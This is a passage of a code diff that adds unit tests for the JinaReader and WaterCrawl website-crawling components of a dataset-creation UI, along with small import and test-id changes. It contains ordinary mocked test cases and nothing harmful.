+      const props = createDefaultProps()
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://fail.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText('datasetCreation.stepOne.website.exceptionErrorTitle')).toBeInTheDocument()
+      })
+    })
+  })
+
+  // ============================================================================
+  // Integration Tests
+  // ============================================================================
+  describe('Integration', () => {
+    it('should complete full crawl workflow with job polling', async () => {
+      // Arrange
+      const mockCreateTask = createJinaReaderTask as jest.Mock
+      const mockCheckStatus = checkJinaReaderTaskStatus as jest.Mock
+      const onCheckedCrawlResultChange = jest.fn()
+      const onJobIdChange = jest.fn()
+      const onPreview = jest.fn()
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'full-workflow-job' })
+      mockCheckStatus
+        .mockResolvedValueOnce({
+          status: 'running',
+          current: 2,
+          total: 5,
+          data: [
+            createCrawlResultItem({ source_url: 'https://page1.com', title: 'Page 1' }),
+            createCrawlResultItem({ source_url: 'https://page2.com', title: 'Page 2' }),
+          ],
+        })
+        .mockResolvedValueOnce({
+          status: 'completed',
+          current: 5,
+          total: 5,
+          time_consuming: 3.5,
+          data: [
+            createCrawlResultItem({ source_url: 'https://page1.com', title: 'Page 1' }),
+            createCrawlResultItem({ source_url: 'https://page2.com', title: 'Page 2' }),
+            createCrawlResultItem({ source_url: 'https://page3.com', title: 'Page 3' }),
+            createCrawlResultItem({ source_url: 'https://page4.com', title: 'Page 4' }),
+            createCrawlResultItem({ source_url: 'https://page5.com', title: 'Page 5' }),
+          ],
+        })
+
+      const props = createDefaultProps({
+        onCheckedCrawlResultChange,
+        onJobIdChange,
+        onPreview,
+      })
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://full-workflow.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert - job id should be set
+      await waitFor(() => {
+        expect(onJobIdChange).toHaveBeenCalledWith('full-workflow-job')
+      })
+
+      // Assert - final results should be displayed
+      await waitFor(() => {
+        expect(screen.getByText('Page 1')).toBeInTheDocument()
+        expect(screen.getByText('Page 5')).toBeInTheDocument()
+      })
+
+      // Assert - checked results should be updated
+      expect(onCheckedCrawlResultChange).toHaveBeenLastCalledWith(
+        expect.arrayContaining([
+          expect.objectContaining({ source_url: 'https://page1.com' }),
+          expect.objectContaining({ source_url: 'https://page5.com' }),
+        ]),
+      )
+    })
+
+    it('should handle select all and deselect all in results', async () => {
+      // Arrange
+      const mockCreateTask = createJinaReaderTask as jest.Mock
+      const onCheckedCrawlResultChange = jest.fn()
+
+      mockCreateTask.mockResolvedValueOnce({
+        data: { title: 'Single', content: 'C', description: 'D', url: 'https://single.com' },
+      })
+
+      const props = createDefaultProps({ onCheckedCrawlResultChange })
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://single.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Wait for results
+      await waitFor(() => {
+        expect(screen.getByText('Single')).toBeInTheDocument()
+      })
+
+      // Click select all/reset all
+      const selectAllCheckbox = screen.getByText(/selectAll|resetAll/i)
+      await userEvent.click(selectAllCheckbox)
+
+      // Assert
+      expect(onCheckedCrawlResultChange).toHaveBeenCalled()
+    })
+  })
+})
diff --git a/web/app/components/datasets/create/website/jina-reader/options.tsx b/web/app/components/datasets/create/website/jina-reader/options.tsx
index e18cff8d1a..3b8eab469e 100644
--- a/web/app/components/datasets/create/website/jina-reader/options.tsx
+++ b/web/app/components/datasets/create/website/jina-reader/options.tsx
@@ -4,7 +4,7 @@ import React, { useCallback } from 'react'
 import { useTranslation } from 'react-i18next'
 import CheckboxWithLabel from '../base/checkbox-with-label'
 import Field from '../base/field'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { CrawlOptions } from '@/models/datasets'
 
 const I18N_PREFIX = 'datasetCreation.stepOne.website'
@@ -37,6 +37,7 @@ const Options: FC<Props> = ({
         isChecked={payload.crawl_sub_pages}
         onChange={handleChange('crawl_sub_pages')}
         labelClassName='text-[13px] leading-[16px] font-medium text-text-secondary'
+        testId='crawl-sub-pages'
       />
       <CheckboxWithLabel
         label={t(`${I18N_PREFIX}.useSitemap`)}
@@ -44,6 +45,7 @@ const Options: FC<Props> = ({
         onChange={handleChange('use_sitemap')}
         tooltip={t(`${I18N_PREFIX}.useSitemapTooltip`) as string}
         labelClassName='text-[13px] leading-[16px] font-medium text-text-secondary'
+        testId='use-sitemap'
       />
       <div className='flex justify-between space-x-4'>
         <Field
diff --git a/web/app/components/datasets/create/website/preview.tsx b/web/app/components/datasets/create/website/preview.tsx
index f43dc83589..ff2ca4ec43 100644
--- a/web/app/components/datasets/create/website/preview.tsx
+++ b/web/app/components/datasets/create/website/preview.tsx
@@ -3,7 +3,7 @@ import React from 'react'
 import { useTranslation } from 'react-i18next'
 import { XMarkIcon } from '@heroicons/react/20/solid'
 import s from '../file-preview/index.module.css'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { CrawlResultItem } from '@/models/datasets'
 
 type IProps = {
diff --git a/web/app/components/datasets/create/website/watercrawl/index.spec.tsx b/web/app/components/datasets/create/website/watercrawl/index.spec.tsx
new file mode 100644
index 0000000000..c7be4413bd
--- /dev/null
+++ b/web/app/components/datasets/create/website/watercrawl/index.spec.tsx
@@ -0,0 +1,1812 @@
+import { fireEvent, render, screen, waitFor } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import WaterCrawl from './index'
+import type { CrawlOptions, CrawlResultItem } from '@/models/datasets'
+import { checkWatercrawlTaskStatus, createWatercrawlTask } from '@/service/datasets'
+import { sleep } from '@/utils'
+
+// Mock external dependencies
+jest.mock('@/service/datasets', () => ({
+  createWatercrawlTask: jest.fn(),
+  checkWatercrawlTaskStatus: jest.fn(),
+}))
+
+jest.mock('@/utils', () => ({
+  sleep: jest.fn(() => Promise.resolve()),
+}))
+
+// Mock modal context
+const mockSetShowAccountSettingModal = jest.fn()
+jest.mock('@/context/modal-context', () => ({
+  useModalContext: () => ({
+    setShowAccountSettingModal: mockSetShowAccountSettingModal,
+  }),
+}))
+
+// ============================================================================
+// Test Data Factories
+// ============================================================================
+
+// Note: limit and max_depth are typed as `number | string` in CrawlOptions
+// Tests may use number, string, or empty string values to cover all valid cases
+const createDefaultCrawlOptions = (overrides: Partial<CrawlOptions> = {}): CrawlOptions => ({
+  crawl_sub_pages: true,
+  only_main_content: true,
+  includes: '',
+  excludes: '',
+  limit: 10,
+  max_depth: 2,
+  use_sitemap: false,
+  ...overrides,
+})
+
+const createCrawlResultItem = (overrides: Partial<CrawlResultItem> = {}): CrawlResultItem => ({
+  title: 'Test Page Title',
+  markdown: '# Test Content\n\nThis is test markdown content.',
+  description: 'Test description',
+  source_url: 'https://example.com/page',
+  ...overrides,
+})
+
+const createDefaultProps = (overrides: Partial<Parameters<typeof WaterCrawl>[0]> = {}) => ({
+  onPreview: jest.fn(),
+  checkedCrawlResult: [] as CrawlResultItem[],
+  onCheckedCrawlResultChange: jest.fn(),
+  onJobIdChange: jest.fn(),
+  crawlOptions: createDefaultCrawlOptions(),
+  onCrawlOptionsChange: jest.fn(),
+  ...overrides,
+})
+
+// ============================================================================
+// Rendering Tests
+// ============================================================================
+describe('WaterCrawl', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // Tests for initial component rendering
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<WaterCrawl {...props} />)
+
+      // Assert
+      expect(screen.getByText('datasetCreation.stepOne.website.watercrawlTitle')).toBeInTheDocument()
+    })
+
+    it('should render header with configuration button', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<WaterCrawl {...props} />)
+
+      // Assert
+      expect(screen.getByText('datasetCreation.stepOne.website.configureWatercrawl')).toBeInTheDocument()
+    })
+
+    it('should render URL input field', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<WaterCrawl {...props} />)
+
+      // Assert - URL input has specific placeholder
+      expect(screen.getByPlaceholderText('https://docs.dify.ai/en/')).toBeInTheDocument()
+    })
+
+    it('should render run button', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<WaterCrawl {...props} />)
+
+      // Assert
+      expect(screen.getByRole('button', { name: /run/i })).toBeInTheDocument()
+    })
+
+    it('should render options section', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<WaterCrawl {...props} />)
+
+      // Assert
+      expect(screen.getByText('datasetCreation.stepOne.website.options')).toBeInTheDocument()
+    })
+
+    it('should render doc link to WaterCrawl', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<WaterCrawl {...props} />)
+
+      // Assert
+      const docLink = screen.getByRole('link')
+      expect(docLink).toHaveAttribute('href', 'https://docs.watercrawl.dev/')
+    })
+
+    it('should not render crawling or result components initially', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<WaterCrawl {...props} />)
+
+      // Assert
+      expect(screen.queryByText(/totalPageScraped/i)).not.toBeInTheDocument()
+    })
+  })
+
+  // ============================================================================
+  // Props Testing
+  // ============================================================================
+  describe('Props', () => {
+    it('should call onCrawlOptionsChange when options change', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      const onCrawlOptionsChange = jest.fn()
+      const props = createDefaultProps({ onCrawlOptionsChange })
+
+      // Act
+      render(<WaterCrawl {...props} />)
+
+      // Find the limit input by its associated label text
+      const limitLabel = screen.queryByText('datasetCreation.stepOne.website.limit')
+
+      if (limitLabel) {
+        // The limit input is a number input (spinbutton role) within the same container
+        const limitInput = limitLabel.closest('div')?.parentElement?.querySelector('input[type="number"]')
+
+        if (limitInput) {
+          await user.clear(limitInput)
+          await user.type(limitInput, '20')
+
+          // Assert
+          expect(onCrawlOptionsChange).toHaveBeenCalled()
+        }
+      }
+      else {
+        // Options might not be visible, just verify component renders
+        expect(screen.getByText('datasetCreation.stepOne.website.options')).toBeInTheDocument()
+      }
+    })
+
+    it('should execute crawl task when checkedCrawlResult is provided', async () => {
+      // Arrange
+      const checkedItem = createCrawlResultItem({ source_url: 'https://checked.com' })
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'test-job' })
+
+      const mockCheckStatus = checkWatercrawlTaskStatus as jest.Mock
+      mockCheckStatus.mockResolvedValueOnce({
+        status: 'completed',
+        current: 1,
+        total: 1,
+        data: [createCrawlResultItem()],
+      })
+
+      const props = createDefaultProps({
+        checkedCrawlResult: [checkedItem],
+      })
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://example.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert - crawl task should be created even with pre-checked results
+      await waitFor(() => {
+        expect(mockCreateTask).toHaveBeenCalled()
+      })
+    })
+
+    it('should use default crawlOptions limit in validation', () => {
+      // Arrange
+      const props = createDefaultProps({
+        crawlOptions: createDefaultCrawlOptions({ limit: '' }),
+      })
+
+      // Act
+      render(<WaterCrawl {...props} />)
+
+      // Assert - component renders with empty limit
+      expect(screen.getByPlaceholderText('https://docs.dify.ai/en/')).toBeInTheDocument()
+    })
+  })
+
+  // ============================================================================
+  // State Management Tests
+  // ============================================================================
+  describe('State Management', () => {
+    it('should transition from init to running state when run is clicked', async () => {
+      // Arrange
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      let resolvePromise: () => void
+      mockCreateTask.mockImplementation(() => new Promise((resolve) => {
+        resolvePromise = () => resolve({ job_id: 'test-job' })
+      }))
+
+      const props = createDefaultProps()
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const urlInput = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(urlInput, 'https://example.com')
+
+      // Click run and immediately check for crawling state
+      const runButton = screen.getByRole('button', { name: /run/i })
+      fireEvent.click(runButton)
+
+      // Assert - crawling indicator should appear
+      await waitFor(() => {
+        expect(screen.getByText(/totalPageScraped/i)).toBeInTheDocument()
+      })
+
+      // Cleanup - resolve the promise
+      resolvePromise!()
+    })
+
+    it('should transition to finished state after successful crawl', async () => {
+      // Arrange
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      const mockCheckStatus = checkWatercrawlTaskStatus as jest.Mock
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'test-job' })
+      mockCheckStatus.mockResolvedValueOnce({
+        status: 'completed',
+        current: 1,
+        total: 1,
+        data: [createCrawlResultItem({ title: 'Test Page' })],
+      })
+
+      const props = createDefaultProps()
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://example.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText(/selectAll|resetAll/i)).toBeInTheDocument()
+      })
+    })
+
+    it('should update crawl result state during polling', async () => {
+      // Arrange
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      const mockCheckStatus = checkWatercrawlTaskStatus as jest.Mock
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'test-job-123' })
+      mockCheckStatus
+        .mockResolvedValueOnce({
+          status: 'running',
+          current: 1,
+          total: 3,
+          data: [createCrawlResultItem()],
+        })
+        .mockResolvedValueOnce({
+          status: 'completed',
+          current: 3,
+          total: 3,
+          data: [
+            createCrawlResultItem({ source_url: 'https://example.com/1' }),
+            createCrawlResultItem({ source_url: 'https://example.com/2' }),
+            createCrawlResultItem({ source_url: 'https://example.com/3' }),
+          ],
+        })
+
+      const onCheckedCrawlResultChange = jest.fn()
+      const onJobIdChange = jest.fn()
+      const props = createDefaultProps({ onCheckedCrawlResultChange, onJobIdChange })
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://example.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(onJobIdChange).toHaveBeenCalledWith('test-job-123')
+      })
+
+      await waitFor(() => {
+        expect(onCheckedCrawlResultChange).toHaveBeenCalled()
+      })
+    })
+
+    it('should fold options when step changes from init', async () => {
+      // Arrange
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      const mockCheckStatus = checkWatercrawlTaskStatus as jest.Mock
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'test-job' })
+      mockCheckStatus.mockResolvedValueOnce({
+        status: 'completed',
+        current: 1,
+        total: 1,
+        data: [createCrawlResultItem()],
+      })
+
+      const props = createDefaultProps()
+
+      // Act
+      render(<WaterCrawl {...props} />)
+
+      // Options should be visible initially
+      expect(screen.getByText('datasetCreation.stepOne.website.crawlSubPage')).toBeInTheDocument()
+
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://example.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert - options should be folded after crawl starts
+      await waitFor(() => {
+        expect(screen.queryByText('datasetCreation.stepOne.website.crawlSubPage')).not.toBeInTheDocument()
+      })
+    })
+  })
+
+  // ============================================================================
+  // Side Effects and Cleanup Tests
+  // ============================================================================
+  describe('Side Effects and Cleanup', () => {
+    it('should call sleep during polling', async () => {
+      // Arrange
+      const mockSleep = sleep as jest.Mock
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      const mockCheckStatus = checkWatercrawlTaskStatus as jest.Mock
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'test-job' })
+      mockCheckStatus
+        .mockResolvedValueOnce({ status: 'running', current: 1, total: 2, data: [] })
+        .mockResolvedValueOnce({ status: 'completed', current: 2, total: 2, data: [] })
+
+      const props = createDefaultProps()
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://example.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockSleep).toHaveBeenCalledWith(2500)
+      })
+    })
+
+    it('should update controlFoldOptions when step changes', async () => {
+      // Arrange
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      mockCreateTask.mockImplementation(() => new Promise(() => { /* pending */ }))
+
+      const props = createDefaultProps()
+
+      // Act
+      render(<WaterCrawl {...props} />)
+
+      // Initially options should be visible
+      expect(screen.getByText('datasetCreation.stepOne.website.options')).toBeInTheDocument()
+
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://example.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert - the crawling indicator should appear
+      await waitFor(() => {
+        expect(screen.getByText(/totalPageScraped/i)).toBeInTheDocument()
+      })
+    })
+  })
+
+  // ============================================================================
+  // Callback Stability and Memoization Tests
+  // ============================================================================
+  describe('Callback Stability', () => {
+    it('should maintain stable handleSetting callback', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      const { rerender } = render(<WaterCrawl {...props} />)
+      const configButton = screen.getByText('datasetCreation.stepOne.website.configureWatercrawl')
+      fireEvent.click(configButton)
+
+      // Assert
+      expect(mockSetShowAccountSettingModal).toHaveBeenCalledTimes(1)
+
+      // Rerender and click again
+      rerender(<WaterCrawl {...props} />)
+      fireEvent.click(configButton)
+
+      expect(mockSetShowAccountSettingModal).toHaveBeenCalledTimes(2)
+    })
+
+    it('should memoize checkValid callback based on crawlOptions', async () => {
+      // Arrange
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      const mockCheckStatus = checkWatercrawlTaskStatus as jest.Mock
+
+      mockCreateTask.mockResolvedValue({ job_id: 'test-job' })
+      mockCheckStatus.mockResolvedValue({
+        status: 'completed',
+        current: 1,
+        total: 1,
+        data: [createCrawlResultItem()],
+      })
+
+      const props = createDefaultProps()
+
+      // Act
+      const { rerender } = render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://example.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      await waitFor(() => {
+        expect(mockCreateTask).toHaveBeenCalledTimes(1)
+      })
+
+      // Rerender with same options
+      rerender(<WaterCrawl {...props} />)
+
+      // Assert - component should still work correctly
+      expect(screen.getByPlaceholderText('https://docs.dify.ai/en/')).toBeInTheDocument()
+    })
+  })
+
+  // ============================================================================
+  // User Interactions and Event Handlers Tests
+  // ============================================================================
+  describe('User Interactions', () => {
+    it('should open account settings when configuration button is clicked', async () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const configButton = screen.getByText('datasetCreation.stepOne.website.configureWatercrawl')
+      await userEvent.click(configButton)
+
+      // Assert
+      expect(mockSetShowAccountSettingModal).toHaveBeenCalledWith({
+        payload: 'data-source',
+      })
+    })
+
+    it('should handle URL input and run button click', async () => {
+      // Arrange
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      const mockCheckStatus = checkWatercrawlTaskStatus as jest.Mock
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'test-job' })
+      mockCheckStatus.mockResolvedValueOnce({
+        status: 'completed',
+        current: 1,
+        total: 1,
+        data: [createCrawlResultItem()],
+      })
+
+      const props = createDefaultProps()
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://test.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockCreateTask).toHaveBeenCalledWith({
+          url: 'https://test.com',
+          options: props.crawlOptions,
+        })
+      })
+    })
+
+    it('should handle preview action on crawled result', async () => {
+      // Arrange
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      const mockCheckStatus = checkWatercrawlTaskStatus as jest.Mock
+      const onPreview = jest.fn()
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'test-job' })
+      mockCheckStatus.mockResolvedValueOnce({
+        status: 'completed',
+        current: 1,
+        total: 1,
+        data: [createCrawlResultItem({ title: 'Preview Test' })],
+      })
+
+      const props = createDefaultProps({ onPreview })
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://preview.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert - result should be displayed
+      await waitFor(() => {
+        expect(screen.getByText('Preview Test')).toBeInTheDocument()
+      })
+
+      // Click on preview button
+      const previewButton = screen.getByText('datasetCreation.stepOne.website.preview')
+      await userEvent.click(previewButton)
+
+      expect(onPreview).toHaveBeenCalled()
+    })
+
+    it('should handle checkbox changes in options', async () => {
+      // Arrange
+      const onCrawlOptionsChange = jest.fn()
+      const props = createDefaultProps({
+        onCrawlOptionsChange,
+        crawlOptions: createDefaultCrawlOptions({ crawl_sub_pages: false }),
+      })
+
+      // Act
+      render(<WaterCrawl {...props} />)
+
+      // Find and click the checkbox by data-testid
+      const checkbox = screen.getByTestId('checkbox-crawl-sub-pages')
+      fireEvent.click(checkbox)
+
+      // Assert - onCrawlOptionsChange should be called
+      expect(onCrawlOptionsChange).toHaveBeenCalled()
+    })
+
+    it('should toggle options visibility when clicking options header', async () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<WaterCrawl {...props} />)
+
+      // Options content should be visible initially
+      expect(screen.getByText('datasetCreation.stepOne.website.crawlSubPage')).toBeInTheDocument()
+
+      // Click to collapse
+      const optionsHeader = screen.getByText('datasetCreation.stepOne.website.options')
+      await userEvent.click(optionsHeader)
+
+      // Assert - options should be hidden
+      expect(screen.queryByText('datasetCreation.stepOne.website.crawlSubPage')).not.toBeInTheDocument()
+
+      // Click to expand again
+      await userEvent.click(optionsHeader)
+
+      // Options should be visible again
+      expect(screen.getByText('datasetCreation.stepOne.website.crawlSubPage')).toBeInTheDocument()
+    })
+  })
+
+  // ============================================================================
+  // API Calls Tests
+  // ============================================================================
+  describe('API Calls', () => {
+    it('should call createWatercrawlTask with correct parameters', async () => {
+      // Arrange
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      const mockCheckStatus = checkWatercrawlTaskStatus as jest.Mock
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'api-test-job' })
+      mockCheckStatus.mockResolvedValueOnce({
+        status: 'completed',
+        current: 1,
+        total: 1,
+        data: [createCrawlResultItem()],
+      })
+
+      const crawlOptions = createDefaultCrawlOptions({ limit: 5, max_depth: 3 })
+      const props = createDefaultProps({ crawlOptions })
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://api-test.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockCreateTask).toHaveBeenCalledWith({
+          url: 'https://api-test.com',
+          options: crawlOptions,
+        })
+      })
+    })
+
+    it('should delete max_depth from options when it is empty string', async () => {
+      // Arrange
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      const mockCheckStatus = checkWatercrawlTaskStatus as jest.Mock
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'test-job' })
+      mockCheckStatus.mockResolvedValueOnce({
+        status: 'completed',
+        current: 1,
+        total: 1,
+        data: [createCrawlResultItem()],
+      })
+
+      const crawlOptions = createDefaultCrawlOptions({ max_depth: '' })
+      const props = createDefaultProps({ crawlOptions })
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://test.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert - max_depth should be deleted from the request
+      await waitFor(() => {
+        const callArgs = mockCreateTask.mock.calls[0][0]
+        expect(callArgs.options).not.toHaveProperty('max_depth')
+      })
+    })
+
+    it('should poll for status with job_id', async () => {
+      // Arrange
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      const mockCheckStatus = checkWatercrawlTaskStatus as jest.Mock
+      const onJobIdChange = jest.fn()
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'poll-job-123' })
+      mockCheckStatus.mockResolvedValueOnce({
+        status: 'completed',
+        current: 2,
+        total: 2,
+        data: [
+          createCrawlResultItem({ source_url: 'https://p1.com' }),
+          createCrawlResultItem({ source_url: 'https://p2.com' }),
+        ],
+      })
+
+      const props = createDefaultProps({ onJobIdChange })
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://poll-test.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(onJobIdChange).toHaveBeenCalledWith('poll-job-123')
+      })
+
+      await waitFor(() => {
+        expect(mockCheckStatus).toHaveBeenCalledWith('poll-job-123')
+      })
+    })
+
+    it('should handle error status from polling', async () => {
+      // Arrange
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      const mockCheckStatus = checkWatercrawlTaskStatus as jest.Mock
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'fail-job' })
+      mockCheckStatus.mockResolvedValueOnce({
+        status: 'error',
+        message: 'Crawl failed due to network error',
+      })
+
+      const props = createDefaultProps()
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://fail-test.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText('datasetCreation.stepOne.website.exceptionErrorTitle')).toBeInTheDocument()
+      })
+
+      expect(screen.getByText('Crawl failed due to network error')).toBeInTheDocument()
+    })
+
+    it('should handle API error during status check', async () => {
+      // Arrange
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      const mockCheckStatus = checkWatercrawlTaskStatus as jest.Mock
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'error-job' })
+      mockCheckStatus.mockRejectedValueOnce({
+        json: () => Promise.resolve({ message: 'API Error occurred' }),
+      })
+
+      const props = createDefaultProps()
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://error-test.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText('datasetCreation.stepOne.website.exceptionErrorTitle')).toBeInTheDocument()
+      })
+    })
+
+    it('should limit total to crawlOptions.limit', async () => {
+      // Arrange
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      const mockCheckStatus = checkWatercrawlTaskStatus as jest.Mock
+      const onCheckedCrawlResultChange = jest.fn()
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'limit-job' })
+      mockCheckStatus.mockResolvedValueOnce({
+        status: 'completed',
+        current: 100,
+        total: 100,
+        data: Array.from({ length: 100 }, (_, i) =>
+          createCrawlResultItem({ source_url: `https://example.com/${i}` }),
+        ),
+      })
+
+      const props = createDefaultProps({
+        onCheckedCrawlResultChange,
+        crawlOptions: createDefaultCrawlOptions({ limit: 5 }),
+      })
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://limit-test.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(onCheckedCrawlResultChange).toHaveBeenCalled()
+      })
+    })
+
+    it('should handle response without status field as error', async () => {
+      // Arrange
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      const mockCheckStatus = checkWatercrawlTaskStatus as jest.Mock
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'no-status-job' })
+      mockCheckStatus.mockResolvedValueOnce({
+        // No status field
+        message: 'Unknown error',
+      })
+
+      const props = createDefaultProps()
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://no-status-test.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText('datasetCreation.stepOne.website.exceptionErrorTitle')).toBeInTheDocument()
+      })
+    })
+  })
+
+  // ============================================================================
+  // Component Memoization Tests
+  // ============================================================================
+  describe('Component Memoization', () => {
+    it('should be wrapped with React.memo', () => {
+      // Assert - React.memo components have $$typeof Symbol(react.memo)
+      expect(WaterCrawl.$$typeof?.toString()).toBe('Symbol(react.memo)')
+      expect((WaterCrawl as unknown as { type: unknown }).type).toBeDefined()
+    })
+  })
+
+  // ============================================================================
+  // Edge Cases and Error Handling Tests
+  // ============================================================================
+  describe('Edge Cases and Error Handling', () => {
+    it('should show error for empty URL', async () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert - Toast should be shown (mocked via Toast component)
+      await waitFor(() => {
+        expect(createWatercrawlTask).not.toHaveBeenCalled()
+      })
+    })
+
+    it('should show error for invalid URL format', async () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<WaterCrawl {...props} />)
